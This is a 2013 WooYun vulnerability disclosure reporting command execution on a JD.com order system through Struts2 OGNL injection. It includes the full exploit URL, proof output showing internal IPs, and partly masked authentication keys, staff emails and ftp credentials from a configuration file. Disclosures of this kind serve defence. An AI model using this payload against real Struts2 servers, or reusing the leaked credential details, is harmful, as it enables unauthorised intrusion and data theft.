当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-028604

漏洞标题：京东核心业务系统任意命令执行(涉及订单)

相关厂商：京东商城

漏洞作者： 曹操

提交时间：2013-07-11 21:35

修复时间：2013-08-25 21:36

公开时间：2013-08-25 21:36

漏洞类型：命令执行

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-11： 细节已通知厂商并且等待厂商处理中
2013-07-11： 厂商已经确认，细节仅向厂商公开
2013-07-21： 细节向核心白帽子及相关领域专家公开
2013-07-31： 细节向普通白帽子公开
2013-08-10： 细节向实习白帽子公开
2013-08-25： 细节向公众公开

简要描述：

买神器时不小心看到了...

详细说明：

http://trade.jd.com/order/getOrderInfo.action?rid=1373533786530&class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%22www.wooyun.org%22),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]

漏洞证明：

Unnamed.jpg


内网ip很多，应该是做了负载均衡

eth0      Link encap:Ethernet  HWaddr E4:1F:13:BB:AD:E8  
          inet addr:192.168.129.173  Bcast:192.168.143.255  Mask:255.255.240.0
          inet6 addr: fe80::e61f:13ff:febb:ade8/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:22570444411 errors:0 dropped:66 overruns:0 frame:0
          TX packets:26643442550 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:9319599983352 (8.4 TiB)  TX bytes:15240979889136 (13.8 TiB)
          Interrupt:169 Memory:92000000-92012800 
eth0      Link encap:Ethernet  HWaddr E8:39:35:BD:3A:A0  
          inet addr:192.168.132.110  Bcast:192.168.143.255  Mask:255.255.240.0
          inet6 addr: fe80::ea39:35ff:febd:3aa0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:22588675074 errors:0 dropped:3743 overruns:0 frame:0
          TX packets:26728857127 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:9203992301113 (8.3 TiB)  TX bytes:15015285476770 (13.6 TiB)
          Interrupt:162 Memory:f4000000-f4012800 
eth0      Link encap:Ethernet  HWaddr 5C:F3:FC:E6:85:E4  
          inet addr:192.168.130.186  Bcast:192.168.143.255  Mask:255.255.240.0
          inet6 addr: fe80::5ef3:fcff:fee6:85e4/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:24152678023 errors:0 dropped:96 overruns:0 frame:0
          TX packets:28121042634 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:9764220091103 (8.8 TiB)  TX bytes:15845114815715 (14.4 TiB)
          Interrupt:169 Memory:92000000-92012800


#login jar
passport.checkLogin.cookieName=ceshi3.com
passport.checkLogin.authenticationKey=EDA3D5


mask 区域


*****5A7D32463F*****







passport.checkLogin.loginUrl=http://passport.360buy.com/new/login.aspx
passport.checkLogin.charsetName=GBK
#Author:l





mask 区域


*****ap*****






g@jd.com
#tester-1:b





mask 区域


*****imi*****






@jd.com
#tester-2:q





mask 区域


*****in*****






@jd.com
#auditor:b





mask 区域


*****imi*****






g@jd.com
bj





mask 区域


*****hi*****






ng@360buy.com
ftp -v -n -i 192.168.129.100 << eof
user upload j





mask 区域


*****nw*****






@upload

修复方案：

补丁

版权声明：转载请注明来源 曹操@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2013-07-11 22:04

厂商回复：

已经修复，非常感谢您对京东的关注！

最新状态：

暂无

漏洞评价：

评论

  1. 2013-07-11 21:36 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    霸气！

  2. 2013-07-11 21:37 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    还能找到，确实不简单。

  3. 2013-07-11 21:39 | 干爹 ( 路人 | Rank:22 漏洞数:2 | 我和干爹有个关系)

    留名！坐等张飞来打败

  4. 2013-07-11 21:42 | 0x2b ( 实习白帽子 | Rank:51 漏洞数:12 )

    大乔 把他的裤子给我拿过来

  5. 2013-07-11 22:08 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    这尼玛还中啊...果然不怕事儿大

  6. 2013-07-12 00:15 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @xsser kpi?面子？

  7. 2013-07-12 00:16 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @小胖胖要减肥 我准备改版首页了

  8. 2013-07-12 00:17 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @xsser 群里看到了 其实说实话 重要的还是那种筛选把 反正重要的是漏洞

  9. 2013-08-11 11:08 | X防部 ( 普通白帽子 | Rank:487 漏洞数:137 )

    @京东商城 做人要厚道!一个危险评价给个中，是不是要让大家脱裤的节奏？？？？？？

  10. 2013-08-11 12:47 | 9k九块钱 ( 路人 | Rank:8 漏洞数:11 | ส็็็็็็็็็็็็็็็็็็็...)

    目测楼主是高手这都能看出来！